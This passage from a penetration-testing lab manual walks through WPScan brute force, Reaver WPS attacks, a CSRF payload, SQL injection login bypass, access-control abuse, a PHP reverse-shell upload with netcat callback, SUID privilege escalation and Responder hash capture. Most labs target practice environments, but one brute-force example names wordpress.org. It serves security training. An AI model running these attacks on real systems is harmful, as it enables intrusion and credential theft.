Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
It is important to note that you should only ever scan a site with permission
from the site owner.

I will be using Kali Linux for this lab as wpscan comes pre-installed. To
begin, we will first update the wpscan databases using the following
command:

wpscan --update



Once this is done, we can view the help page for this tool by typing the
following:

wpscan -h | more

There are many pages. You can go to the next page by pressing the Space
key. Press ctrl + c when you want to exit.



Task 2:
We will begin by scanning our target with a quick overall scan. To do this,
type the command like in the example below:

wpscan --url https://wordpress.org/ --rua --ignore-main-redirect

The “--url” tage is specifying the target we wish to scan

The “--rua” tag is telling the tool to use a random-user-agent for each scan

The “--ignore-main-redirect” tag is telling the tool not to follow any redirects and
simply target the URL specified

The results of this scan will provide us with some basic information around
the versions of plugins installed, the version of WordPress in use (which has
a minor warn in this instance), etc.



Task 3:
Similarly, adding –enumerate vt to the command checks the WordPress
website for vulnerable themes:

wpscan --url https://wordpress.org/ --rua --ignore-main-redirect --enumerate vt

We can save the previous command for later review. We specify a text file
name with the “-o” parameter:

wpscan --url https://wordpress.org/ --rua --ignore-main-redirect --enumerate vt \
-o report.txt

Nothing is displayed on the screen, everything is stored in the report.txt file.

Task 4:
We can enumerate all registered users of a WordPress site using the



following command:

wpscan --url https://wordpress.org/ --rua --ignore-main-redirect --enumerate u

Task 5:
Using the information gathered from the above command, we can then
attempt to brute force the passwords for these usernames using a wordlist.
This can be done by executing the following command:

wpscan --url https://wordpress.org/ --rua --ignore-main-redirect \
-P /usr/share/wordlists/rockyou.txt -U otto42

Press ctrl + c to when you want to break process.





Lab 35. Hack WPS with Reaver

Lab Objective:
Learn how to hack WPS-enabled Wi-Fis with Reaver.

Lab Purpose:
WPS stands for Wi-Fi Protected Setup. It was invented to make it easier for
users of a network to create secure connections between certain devices and
networks. It works by pressing a button on the router and the device
simultaneously. An 8-digit PIN is created, allowing the device to connect.

Reaver is a tool which takes advantage of the way WPS creates these PINs.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab. Many commands in this lab will
require root privileges to work. First of all, we must be the “root” user using
the terminal:

sudo su –

Lab Walkthrough:

Task 1:
It is important to note that you should only target a network with permission
from the network owner.

I will be using Kali Linux for this lab as reaver comes pre-installed.

We will begin by first viewing the help screen for this tool. Simply type the



following:

reaver -h

Task 2:
You will need a wireless card which is capable of being put into “monitor mode”
to complete this lab. In this lab, we will use an Alfa network card for this
purpose. There are numerous Wi-Fi adapters in the market which supports
Wi-Fi hacking. In this page, you can find some of them:

https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-
hacking-in-2019/

The first step is to place our wireless interface into monitor mode. We can do
this using the following command:

airmon-ng start wlan0

We can check that the interface is in monitor mode by typing ifconfig. You
will notice that the interface will have a mon at the end of its name. You may
get a message that some services are interfering with your card when putting
it into monitor mode. If this happenes, simply run the following command:

https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-hacking-in-2019/


airmon-ng check kill

Task 3:
Once our interface is in monitor mode, we can now scan for nearby networks.
We can do this with the following command:

wash -i wlan0mon

This command will show us all available networks and whether these
networks have WPS enabled.

Task 4:
We now have all the information we need to launch the attack. We can
choose the network we want to attack using this command:

reaver -i wlanmon0 -c 3 -b B4:30:52:D9:2E:4C -vv



Let’s break this command down:

The -i tag is telling Reaver which interface we want to use for the attack
The -c tag is telling the tool which channel the Wi-Fi network we are
targeting is on
The -b tag is the BSSID of the network we are targeting
The -vv tag is enabling verbose, which will tell us what the tool is doing

When this command is executed, Reaver will begin testing various PINs
against the network.



Lab 36. Cross Site Request Forgery
(CSRF)

Lab Objective:
Learn how to exploit a CSRF vulnerability.

Lab Purpose:
CSRF is a vulnerability found in web applications, which allows an attacker
to induce users to perform actions that they do not intend to perform. This
vulnerability allows an attacker to circumvent the same origin policy, which
is designed to prevent different websites from interfering with each other.

The impact of the attack depends on the level of permissions that the victim
has set. Such attacks take advantage of the fact that a website completely
trusts a user once it can confirm that the user is indeed who they say they are.

Lab Tool:
Kali Linux and Burp Suite

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We will be using Burp Suite for this lab. It comes pre-installed on Kali
Linux, but may need to be updated using the command: sudo apt upgrade burpsuite

We strongly recommend you look at previous lab, lab 7, that we did on Burp
Suite. Until requested, keep interception mode OFF in Burp Suite.



Task 2:
In this lab, we will be using the Port Swigger Web Security Academy in
order to demonstrate vulnerability. They provide some vulnerable labs where
you can practice these skills. You will need to sign up (for free) in order to
follow allong with this lab:

https://portswigger.net/web-security

Task 3:
For this lab, we will be demonstrating how a CSRF vulnerability can be
exploited. The lab we will be using to demonstrate this vulnerability is the
following:



https://portswigger.net/web-security/csrf/lab-no-defenses

Before starting the lab session, the username and password you will use for
login will be displayed on the description page. Write it down somewhere.
Then, click the “Access the lab” button.

Click the My Account link which is placed on the up-right corner of Shop.
Then, login with the credentials which we have recorded on the previous
page. In our case, that was:

Username: wiener and Password: peter

Do not use your real portswinger.net credentials!

https://portswigger.net/web-security/csrf/lab-no-defenses


We can now see an email change form on the Shop page.

Now, make sure that Burp Suite has Intercept Mode turned ON.

Enter some random email address here and Burp Suite will capture web
traffic automatically. In this instance, we entered user@example.com as the
new email address.

mailto:user@example.com


Task 4:
Let’s look at the Burp Suite’s interception window.

Right-click on the current Burp Suite window and select the Copy URL.
Paste this URL somewhere, as it will be needed in the next task.

Task 5:
In this step, we will create a malicious HTML form page which is filled by
the email address and URL we have caught in the previous task.

Open a text editor, select the following text, then copy and paste it into editor.
Fill  the URL and e-mail address values in the corresponding places in the
editor:

<html>
<body>

<form action=”URL we gathered from Burp Suite will be here” method=”POST”>
<input type=”hidden” name=”email” value=”lucifer@evil-user.net” />



</form>
<script>

document.forms[0].submit();
</script>

</body>
</html>

Our HTML template looked as follows when filled in with the values:

In this example, we chose lucifer@evil-user.net as the email address.

Task 6:
Now, turn OFF Intercept mode in Burp Suite.

The next step is to navigate to the “Go to exploit server” button at the top of
the Shop page. Place your altered HTML form code into the Body section
and press “Store”.



Our CSRF attempt has been successful.



The reason it was successful is this: if we take the URL, send it to a user, and
they click on it, their email will be changed to that which we have specified.
This is a powerful method, as the URL itself will look harmless to the user,
while their e-mail is being change in the background, unbeknownst to them.



Lab 37. Using Gobuster to Discover
Directories

Lab Objective:
Learn how to discover directories on a web application.

Lab Purpose:
Gobuster is a free opensource tool used to brute force URLs, thereby
discovering available files and directories in web sites. It can also discover
DNS subdomains with the wildcard option enabled.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM and another Ubuntu VM for this lab.

Lab Walkthrough:

Task 1:
As always, you should only use this tool against a site with permission from
the owner. We will be using this tool against OWASP Juice Shop, which we
will run on a separate local VM. This is a shop designed to be vulnerable so
you can practice hacking on it. It can be downloaded from the following link:

https://owasp.org/www-project-juice-shop/

In this lab, we need another machine to run “OWASP Juice Shop” into it.
You can find a prebuilt version of Ubuntu Server image on
https://www.osboxes.org/ubuntu-server/ for this purpose. Download and
import it to your virtualization platform and run.

https://owasp.org/www-project-juice-shop/
https://www.osboxes.org/ubuntu-server/


In our system, the IP address of our Ubuntu VM is 192.168.1.206. You have
to learn yours.

In Kali Linux, login to Ubuntu machine via SSH. Then, type these commands
in a terminal as regular user:

git clone https://github.com/bkimminich/juice-shop.git
cd juice-shop
sudo apt install npm
npm install  (This step takes long time. So be patient.)
npm start

https://github.com/bkimminich/juice-shop.git


Task 2:
Now, download gobuster by opening a new terminal in Kali and typing the
following:

sudo su -
apt-get install gobuster

Close the current terminal and open a new one after intallation is finished.

You can then view the help screen by typing the following:

gobuster -h



Task 3:
Once OWASP Juice Shop is up and running, you can type the Ubuntu’s IP
into your browser to access it. In this case, http://192.168.1.206:3000 is our
URL. You will use your IP address on your local system.

Open a terminal in Kali. We can run a quick scan on this application to

http://192.168.1.206:3000/


discover directories using the following command:

gobuster  dir -u http://192.168.1.206:3000 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --wildcard

Let’s break this down:

The dir option tells gobuster to look for all possible URLs and
subdirectories of the URL specified

The -u option is our target URL
The -w option is the wordlist we will use to brute force this

target.
The –wildcard option is to discover DNS domains and to

accept any redirects.

Press ctrl+c to break run.

http://192.168.1.206:3000/


Task 4:
We can append the “-x” option to search for certain files. For example, if we
append “-x .js,.php”, then we will see the normal results as well as any files
we can access with these extensions:

gobuster  dir -u http://192.168.1.206:3000 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt –wildcard -x .js .php

Task 5:
By default, the thread count is 10 in gobuster. We can append -t to determine
the number of threads that will run simultaneously. The more threads
running, the faster the scan will be:

http://192.168.1.206:3000/


gobuster  dir -u http://192.168.1.206:3000 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt –wildcard -t 50

Task 6:
In most firewalls, traffic from a single IP source to web servers is limited. It
may be necessary to reduce the frequency of requests in order to be able to
scan within these limits. We can increase the waiting time of two consecutive
requests by adding the “—delay” parameter:

gobuster  dir -u http://192.168.1.206:3000 –wildcard -t 1 –-delay 2s \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

http://192.168.1.206:3000/
http://192.168.1.206:3000/


In this example, we reduced the number of threads to 1 as we increased the
delay to 2s.

Task 7:
By default, “gobuster” requests are made with the GET method. It is possible
to change this using the “-m” parameter. In this example, scanning was
performed using POST method instead of GET:

gobuster  dir -u http://192.168.1.206:3000  -t 1 –-delay 2s -m POST \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt –wildcard

http://192.168.1.206:3000/




Lab 38. Using Burp Suite’s Intruder

Lab Objective:
Learn how to use Burp Suite Intruder to brute force a password.

Lab Purpose:
The intruder feature of Burp Suite is used to automate customized attacks
against web applications. It can be configured to work in several different
ways and can be used to perform a huge range of tasks.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
As always, you should only use this tool against a site with permission from
the owner. We will be using this tool against OWASP Juice Shop, which we
will run on a separate local VM. This is a shop designed to be vulnerable so
you can practice hacking on it. It can be downloaded from the following link:

https://owasp.org/www-project-juice-shop/

In this lab, we need another machine to run “OWASP Juice Shop”. You can
find a prebuilt version of Ubuntu Server 20.04 image on
https://www.osboxes.org/ubuntu-server/ for this purpose. Download and
import it to your virtualization platform and run.

https://owasp.org/www-project-juice-shop/
https://www.osboxes.org/ubuntu-server/


In our system, the IP address of Ubuntu VM is 192.168.1.206. You have to
learn yours.

In Kali Linux, login to Ubuntu machine via SSH. Then type these commands
in a terminal as regular user:

git clone https://github.com/bkimminich/juice-shop.git
cd juice-shop
sudo apt install npm
npm install  (This step takes long time. So be patient.)
npm start

https://github.com/bkimminich/juice-shop.git


Task 2:
Launch the Burp Suite by typing burpsuite into the Kali terminal and ensure
Intercept is turned on.

We then want to access the login page of the vulnerable shop. To do this, first
type the local IP of the shop into your browser to access the page, then click
the login button on the top right.

Task 3:
When you are at the login screen, ensure that the proxy is enabled in Burp
Suite and submit some values into the login page.

When you have the captured request, right-click on the page and press send
to “Intruder”. Then navigate to the Intruder tab at the top.





Task 4:
Here, you will find that the first page contains the IP of the webpage and the
port it is running on. Navigate to the Positions tab within the Intruder tab.
Don’t get overwhelmed with the icons on this page. First, remove all icons by
clicking the Clear button on the right.

Then, navigate to the email parameter of the request we captured on this
page. Input the following for the email value:

admin@juice-sh.op

This is the administrator’s email. We will be attempting to guess the
password for this account. Then, for the password paramater, remove any
values and input two icons beside each other in this field so that it looks like

mailto:admin@juice-sh.op


the screenshot above.

Finally, navigate to the Payloads page. Click on Load beside Payloads, which
will allow us to load a .txt file full of passwords to guess against the admin’s
email. We will use the “default_pass_for_services_unhash.txt” which is
located in “/usr/share/wordlists/metasploit”. Select this file. This will import
the file.

Task 5:
Navigate back to the Target tab and click Start Attack on the right.

A new window will popup and the attack will begin. It may take a while to
get the correct password. Click on the dropdown menu at the top of this new



screen and select filter 2xx. This will show us when one of the passwords
returns a 200 result, indicating it is the correct password.



Lab 39. Broken Access Control

Lab Objective:
Learn how to conduct a manual SQL injection attack.

Lab Purpose:
The intruder feature of Burp Suite is used to automate customized attacks
against web applications. It can be configured to work in several different
ways, and can be used to perform a huge range of tasks.

Lab Tool:
Kali Linux or Windows

Lab Topology:
You can use a Windows machine or Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
As always, you should only use this tool against a site with permission from
the owner. We will be using this tool against OWASP Juice Shop, which we
will run on a separate local VM. This is a shop designed to be vulnerable so
you can practice hacking on it. It can be downloaded from the following link:

https://owasp.org/www-project-juice-shop/

In this lab, we need another machine to run “OWASP Juice Shop”. You can
find a prebuilt version of Ubuntu Server 20.04 image on
https://www.osboxes.org/ubuntu-server/ for this purpose. Download and
import it to your virtualization platform and run.

https://owasp.org/www-project-juice-shop/
https://www.osboxes.org/ubuntu-server/


In our system, the IP address of Ubuntu VM is 192.168.1.206. You have to
learn yours.

In Kali Linux, login to Ubuntu machine via SSH. Then, type these commands
in a terminal as regular user:

git clone https://github.com/bkimminich/juice-shop.git
cd juice-shop
sudo apt install npm
npm install (This step takes long time. So be patient.)
npm start

https://github.com/bkimminich/juice-shop.git


Task 2:
Once Juice Shop is running, type the http://serverIP:3000 address into your
browser to access the shop. Once there, head to the login screen. For this lab,
we will be attempting to login as the admin.

Open Burp Suite and have “Intercept On”. Then, fill in some random value
for both “email” and “password”, and press login. Go to Burp Suite and
ensure you have captured the resulting request.



Task 3:
In the captured request, go the the email parameter and remove the value you
input previously. Instead, type the following:

‘ or 1=1--

Click the Forward button until the email and password fields appear on the
“Burp Suite” page.

Task 4:
Let’s break down what this line of code does.

The ‘ character will break out of the commas and close the brackets in the
SQL query. OR in an SQL statement will return TRUE if either side of it is
TRUE. Since 1=1 is always true, this whole statement will always return as
true. The -- character is used to comment out data in SQL, so any possible
restrictions on the login placed after this character will be commented out and
will not affect our login.



This will then let the server know that the email is valid and log us into the
user id 0, which is the “admin” account.

When you have the code above, input it into the email paramater, and
forward the request.

Task 5:
Turn Intercept off in Burp Suite and return to the Juice Shop application. You
will find that we are now logged in as the administrator.





Lab 40. Broken Access Control

Lab Objective:
Learn how to take advantage of a broken access control vulnerability in a
website.

Lab Purpose:
Broken access control is when a user can view other users’ information,
perform unauthorized information disclosure, modify or destroy all data, or
perform a business function outside of the limits of the user. More
information can be found here: https://owasp.org/www-project-top-
ten/2017/A5_2017-Broken_Access_Control

Lab Tool:
Kali Linux or Windows

Lab Topology:
You can use a Windows machine or Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
As always, you should only use this tool against a site with permission from
the owner. We will be using this tool against OWASP Juice Shop, which we
will run on a separate local VM. This is a shop designed to be vulnerable so
you can practice hacking on it. It can be downloaded from the following link:

https://owasp.org/www-project-juice-shop/

In this lab we need another machine to run “OWASP Juice Shop”. You can
find a prebuilt version of Ubuntu Server 20.04 image on
https://www.osboxes.org/ubuntu-server/ for this purpose. Download and

https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control
https://owasp.org/www-project-juice-shop/
https://www.osboxes.org/ubuntu-server/


import it to your virtualization platform and run.

In our system, the IP address of Ubuntu VM is 192.168.1.206. You have to
learn yours.

In Kali Linux, login to Ubuntu machine via SSH. Then type these commands
in a terminal as regular user:

git clone https://github.com/bkimminich/juice-shop.git
cd juice-shop
sudo apt install npm
npm install (This step takes long time. So be patient.)
npm start

https://github.com/bkimminich/juice-shop.git


Once Juice Shop is running, type the local IP address into your browser to
access the shop. For this lab, we will be attempting to view another user’s
basket without being logged in as that user.

Task 2:
To begin this lab, first login as the admin. If you are unsure how to do this,
look at the manual SQL injection lab and you will find instructions there.
Once logged in as the admin, open Burp Suite and ensure Intercept is turned
off.



Then, click on the basket in the Juice Shop. Be sure your basket has no item.
Empty your basket if there’s any item you can see in there.

Task 3:
Return to main page, then turn intercept mode on in Burp Suite. Then, click
on the basket in the Juice Shop again. Forward the requests until you find the
request beginning with the following:

GET /rest/basket/NaN



This request is loading the contents of our “admin” basket to display to us.

We can view another user’s basket by changing the NaN at the end of the
/basket line to 1:

GET /rest/basket/1

Once this is done, forward the rest of the requests. Then, turn Intercept off
and return to the Juice Shop site. You will find that our basket contents have
changed, as we are now viewing the contents of user 1’s basket.



Let’s try to change to another user’s basket:

GET /rest/basket/2

Once this is done, forward the rest of the requests. Then, turn Intercept off
and return to the Juice Shop site. You will find that our basket contents have
changed, as we are now viewing the contents of user 2’s basket.





Lab 41. Getting a Reverse Shell on a
Server through a File Upload

Lab Objective:
Learn how to get a reverse shell on a vulnerable server through a file upload.

Lab Purpose:
A shell account is a user account on a remote server. This user account will
usually give the user access to a shell via a command-line interface protocol
such as telnet or SSH. Getting a shell on a server is usually the first main goal
of an attacker when they are looking to hack into a server. From this position,
they can navigate around your server and escalate their privileges to take over
the server entirely.

Lab Tool:
Kali Linux

Lab Topology:
You can use a Windows machine or Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We will be conducting this attack against a TryHackMe server. This server is
designed to be vulnerable so that this technique can be practiced. We can
access the server with a free subscription.

First, open a terminal screen in your Kali machine. Make sure you have
OpenVPN installed:

sudo apt update
sudo upgrade openvpn



Login to tryhackme.com site with your own credentials. Create a free account
if needed.

After successful login, you will be redirected to the page displaying
OpenVPN client information.



By following the steps shown in the figure above, go up to step 3 and
download the OpenVPN client config (clientname.ovpn) file to the your Kali
machine. Go to the location where you downloaded the file and run this
command in terminal:

sudo openvpn clientname.ovpn

Upon successful connection, follow steps 4 and 5 as shown in the above
figure. The IP address here is your address on the client side, and we will use
this information later. Write it down.

Open another browaser tab in Kali then navigate to:
https://tryhackme.com/room/rrootme

On this page, scroll down until you see the “Join Room” button. Click it. On
the next page, click the “Start Machine” button under Task 1 to start the Lab.

https://tryhackme.com/room/rrootme


By default, you have 1 hour to finish all tasks in that lab. However, if
necessary, you can request additional time by clicking the “Add 1 hour”
button at the top of the page.

The IP address shown in the picture above belongs to our targeted victim
machine. Write this down too, we will reference it often.

Task 2:
After starting the lab, let’s open a new browser tab in Kali and write the IP
address of the target machine here; which is 10.10.54.248 in this instance.
The goal of this lab is to get a shell on this machine.



The first step to any hack like this is to discover which ports are open using
nmap. To do this, type the following into a terminal:

nmap -sV 10.10.54.248

We can see that there are two ports open, 22 and 80. There is nothing
particularly interesting here so we will move on to the next step of
enumeration

Task 3:
The next step is to use the gobuster tool to enumerate the webserver for any
interesting/hidden directories and URLs. To do this, open a terminal as root
user and type the following:

gobuster dir -u 10.10.54.248 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

This may take a while, but will uncover any interesting or unusual URLs we
may be able to take advantage of.



After running gobuster for a while, we discover a number of URLs.
Interesting ones are “/panel” and “/uploads”. If we visit “http://10.10.54.248/panel”
URL, we will find that there is a file upload form. This will be our way into
the server!

Task 4:
Let’s try to send an empty “test.php” file to the upload page we just
discovered on the target server;

As can be seen, “test.php” file was not accepted.



This time, let’s send a file named “test.txt”; we were able to send this file!

Task 5:
The next step is to get a reverse shell by uploading a malicious file through
this file upload form. A file written for this purpose already exists inside the
Kali machine at this location:

/usr/share/webshells/php/php-reverse-shell.php

Place a copy into our home directory:



cp -v /usr/share/webshells/php/php-reverse-shell.php ~/phpshell.php

We open the file with an editor to update some areas in there. Here, we will
write the IP address we saw earlier on the OpenVPN connection page (see
Task 1), so that the phpshell.php knows which machine to call back to.
There’s no need to change port number.

We know that we cannot upload files with “.php” extensions to the target
server, but what about files with “.phtml” extension? “.phtml” essentially
functions the same as “.php”. We will make the extension of our file “.phtml”
and try to upload it to the target server:

mv -v phpshell.php phpshell.phtml

Task 6:
Try to upload “phpshell.phtml” file to target and check if we succeed.



Done! We uploaded our evil PHP reverse shell code to the target server.
Now, open a new terminal in Kali machine and type the following:

nc -lnvp 1234

This will tell netcat to listen for a connection on this port. Let’s go to the
“/uploads” page and click the “phpshell.phtml” file to make it run. When the
code runs, it will establish a TCP connection to port 1234 of our Kali
machine. Remember, this port is already being listened to by netcat.



Task 7:
Return to the terminal where netcat is running. You will see that you now
have a shell on the server. However, it is only a temporary one and the shell
will collapse if we do not make it stable. To do this, once you have a shell,
type the following:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

This will create a stable bash shell which we can use to navigate around the
server. Now, we have started a reverse terminal from the target machine
towards ourselves.

Task 8
One of the tryHackMe challenges is to find the “user.txt” file on the target
server and read the data in it. Run the following commands on the terminal
screen in the target server:

find / -type f -name user.txt 2>/dev/null
cat /var/www/user.txt

We were able to read this file because the user who ran PHP on the target
server is also the owner of the user.txt file.



Lab 42. Manual Privilege Escalation
Using Python

Lab Objective:
Learn how to manually escalate privileges from a shell using python.

Lab Purpose:
Privilege escalation occurs when a user exploits a bug, misconfiguration, or
design flaw in an application or operating system to gain access to resources
that should normally be unavailable to that user.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
Note: This lab is a continuation of lab 41. You will need to complete that lab
before you are able to complete this!

In lab 41, we managed to get a stable shell on the RootMe server. In this lab,
our goal is to escalate our privileges from a normal user to an administrator.

Login into tryhackme.com as usual, and navigate to challenge page:

https://tryhackme.com/room/rrootme 

Task 2:

https://tryhackme.com/room/rrootme


We discovered from Lab 41 that we have / uploads and / panel URLs on the
target server and we can use them to upload and run our evil “PHP-
REVERSE-SHELL” code.

Continuing where we left off, when the PHP code run was sent; it provided
us a shell capability by establishing a reverse TCP connection to our attacker
Kali machine (1). Now, we have a remote shell which owner is not root. We
upgraded its capability by executing a python code (2).

Task 3:
The next step is to find all files with a permission of SUID. This permission
allows users to run these files with the same level of privilege as the owner of
these files. We are typically looking for scripting/coding languages here; if
we can run a coding language such as python as root, there is a very high
chance of us being able to escalate our privileges this way.

We can search for all files with the SUID permission by typing the following
into our shell:

find / -perm -u=s -type f 2>/dev/null

This command uses the find tool to find all files with the SUID permission.
Hit enter and you will see a list of these files.

Looking through these files for coding languages, we can see python is there.



Task 4:
Great! After some searching around, I found the following site which
contains a list of python commands we can use to escalate our privileges in
different situations. In this case, we can use the following command:

python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

This command creates a local SUID copy of the binary and runs it to
maintain elevated privileges.

Let’s type this python command into our remote shell and hit enter. It may
take a few minutes to run as python does its thing. When it is finished, we
will no longer be in a bash shell and we will have “root” privileges! We can
check if we have root privileges on the server by typing “id” into your shell.

Task 5

One of the tryHackMe challenges is to find the “root.txt” file on the target
server and read the data in it. Run the following commands on the terminal
screen in the target server:

find / -type f -name root.txt  2>/dev/null
cat /root/root.txt

We were able to read this file because we are root and can read everything in
the target server.



There are some other easy tasks that you can solve within tryHackMe.
However, as these are out of scope, they will not be described in this lab.
Once you have completed all the steps, tryHackMe will consider this room to
be completed.



Lab 43. Web Application
Vulnerability Scanning with Nikto

Lab Objective:
Learn how to scan web applications for vulnerabilities with nikto.

Lab Purpose:
Nikto is an open-source web server scanner. It performs comprehensive tests
against web servers for multiple vulnerabilities including over 6700
potentially dangerous files/programs, checks for outdated versions of over
1250 servers, and version specific problems on over 270 servers.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We will be conducting this attack against a TryHackMe server. This server is
designed to be vulnerable so that this technique can be practiced. We can
access the server using openvpn client.

How to connect to this environment with OpenVPN was discussed in detail
in lab 41.

After a successful connection, write down the local VPN IP adress. We will
use this information later. Open another browser tab in Kali, then navigate to:



https://tryhackme.com/room/rpwebscanning

On this page, scroll down until you see the “Join Room” button. Click it. On
the next page, click the “Start Machine” button under Task 1 section to start
the Lab.

By default, you have 1 hour to finish the all tasks in that lab. However, if
necessary, you can request additional time by clicking the “Add 1 hour”

https://tryhackme.com/room/rpwebscanning


button at the top of the page.

The IP address in the frame that appears after the target environment is
started will be our target IP address. We will use this information later.

Task 2:
Although the nikto tool that we will use in this lab is installed with Kali, we
will extract it from the git repo and use it. To do this, let’s open a terminal



screen on our Kali machine and write the following:

git clone https://github.com/sullo/nikto

We will begin by viewing the help screen of nikto tool. This tool has
numerous info pages available to it. To view the short version, open a
terminal screen in Kali then type the following:

cd ~/nikto/program
./nikto.pl -h



To view the more comprehensive version, type the following:

./nikto.pl -H

Task 3:
We will check the database for any errors using the following command:

./nikto.pl -dbcheck

Once this is done, we are ready to begin.



Task 4:
We will begin this lab by performing a basic scan on this webserver. This can
be done by typing the following:

./nikto.pl -h 10.10.16.168

The -h tag is used in Nikto to specify the target, don’t get confused between
this and the help screen command. We used our assigned target IP address as
parameter. This scan operation may takes a few minutes. Please be patient.



The results of the scan can be seen below.

We can see some useful information here such as the fact that the webserver
version is outdated, some interesting directories available to use (such as the
/config directory), and that the XSS-Protection header is not defined.

The above image shows the files in the “/config” directory. Here, a file with
extension .bak can contain valuable information!



Task 5:
We can run a more comprehensive scan using plugins. We can view all
available plugins which Nikto supports, by typing the following:

./nikto.pl -list-plugins

We will use the test plugin, which will run a comprehensive scan against the
webserver for all the basic and most common vulnerabilities. This can be



done using the following command:

./nikto.pl -Plugins test -h 10.10.16.168

We can also specify for Nikto to target a specific port when scanning, by
adding the -p tag to a command:

./nikto.pl -Plugins test -h 10.10.16.168 -p 80



Task 6:
We can use Nikto to run credentialed scans on the webserver too. We simply
have to specify the username and password for Nikto to use to sign in. Nikto
will then perform a scan from the perspective of the signed in user:

./nikto.pl -h 10.10.16.168 -id admin:Password123

Task 7:
Nikto scans can take a while to run. We can specify that we want a scan to
run for a certain length of time by providing Nikto with a time at which the
scan will finish. In the screenshot below, the scan will run until 1:30:

./nikto.pl -h 10.10.16.168 -until 13:30



Lab 44. Web Server Vulnerability
Scanning with ZAP

Lab Objective:
Learn how to scan using OWASP Zed Attack Proxy (ZAP).

Lab Purpose:
ZAP is a dynamic application security testing (DAST) tool for finding
vulnerabilities in web applications. It is free and open source. It’s also one of
the most popular web application scanners.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We will be conducting this attack against a TryHackMe server. This server is
designed to be vulnerable so that this technique can be practiced. We can
access the server using openvpn client.

How to connect to this environment with OpenVPN was discussed in detail
in lab 41.

After a successful connection, write down the local VPN IP adress. We will
use this information later. Open another browser tab in Kali, then navigate to:

https://tryhackme.com/room/rpwebscanning

https://tryhackme.com/room/rpwebscanning


On this page, scroll down until you see the “Join Room” button. Click it. On
the next page, click the “Start Machine” button under Task 1 section to start
the Lab.

By default, you have 1 hour to finish the all tasks in that lab. However, if
necessary, you can request additional time by clicking the “Add 1 hour”
button at the top of the page.



The IP address in the frame that appears after the target environment is
started will be our target IP address. We will use this information later.

Task 2
ZAP can be launched by going to your terminal and typing the following:

owasp-zap



You will see many lines of code appearing in your terminal and a window
will pop up with the ZAP tool. You may see an initial window with numerous
updates for various tools used by ZAP. Simply hit the “Update All” button on
the bottom right of the screen to update all the tools, then click Close. You
will then be presented with the ZAP tool.

Task 3:
With the server launched, we will perform an initial scan of it. Press on



Quick Scan in the window in the top right of the tool. Input the following to
begin the attack:

http://10.10.16.168/

Once this is typed in, click the Attack button at the bottom.

http://10.10.16.168/


When the attack button is pressed, the attack will begin. You will see a
number of POST and GET requests being transmissed from ZAP to the
server specified. There will also be a status bar, showing you how far through
the scan the tool is.



Task 4:
When the attack is finished, ZAP will display an Alerts tab. This tab will
display all vulnerabilities and potential security issues found by the scan.

You will see that the most severe vulnerabilities will be located at the top of
the list. In this case, the most severe vulnerability is Medium. This can be
seen by clicking on each vulnerability found.



Each vulnerability category listed can be expanded, which will display each
request and response which make up the vulnerability.

For example, in this vulnerability, we can see that the robots.txt file is visible
to the user. You can view this file by typing the following into your browser:

http://10.10.16.168/robots.txt

http://10.10.16.168/robots.txt


ZAP does a good job of detailing each vulnerability. If you click on a specific
vulnerability, such as robots.txt, we will be presented with a range of
information such as the severity of the vulnerability as well as a description,
solution, and references for more information.

We can also see the raw request and response data for each vulnerability at
the top right of the screen, after you have clicked on a specific vulnerability.



Task 5:
If we navigate to the Spider tab at the top of this bottom section, we can see
the various pages and directories which were scanned. We can see all in-
scope and “Out of Scope” pages here as well.

Task 6:
If we navigate to the Active Scan page, we can see all of the raw GET and
POST requests made by ZAP to the server during the scan.



Task 7:
The History tab will display all scans performed. In our case, there will only
be one scan here.





Lab 45. Capturing Password Hashes
with Responder

Lab Objective:
Learn how to capture NTLM hashes on your network with Responder.

Lab Purpose:
Responder is a tool used to quickly gather credentials from target systems on
a network. It is a LLMNR, NBTNS and MDNS poisoner which is easy to use
and highly effective against vulnerable networks.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We will be using Kali Linux for this lab as Responder comes pre-installed on
Kali.

The first thing we will do is look at the help page for this tool. We can do this
by opening a terminal and typing the following:

responder -h



Task 2:
In this lab, we will be targeting a machine on our network with a machine
which has an open browser with the goal of capturing NTLM hashes.

Before we launch this attack, we will use the analyser mode of the
“responder” tool to discover potential targets on our network. This mode will
analyse all requests on a network but will not respond to them.

We can launch this mode using the following command:



responder -I eth0 -A

Any event on the network will be shown on the screen after this command is
executed.

This is a good method for passively discovering possible target systems.

Task 3:
We can perform a poisoning with responder tool by simply typing the
following:

responder -I eth0

This will launch Responder and the tool will poison responses and capture
any credentials it can. If a user attempts to connect to a non-existing server
share, Responder will respond and attempt to send them a login prompt.

If the user enters their password, Responder will catch the hash of password



then display it on the screen.

In the screenshot above, we have captured the hash for the user “victim02”.
We can now take this hash to hashcat and attempt to crack it.

Task 4:
Copy the hash captured in the previous step and save it to a text file.



Then, open hashcat and type the following:

hashcat -m 5600 -a 0 ntlm-hash.txt /usr/share/wordlists/nmap.lst -O

This will tell hashcat that we are attempting to dictionary crack an NTLMv2
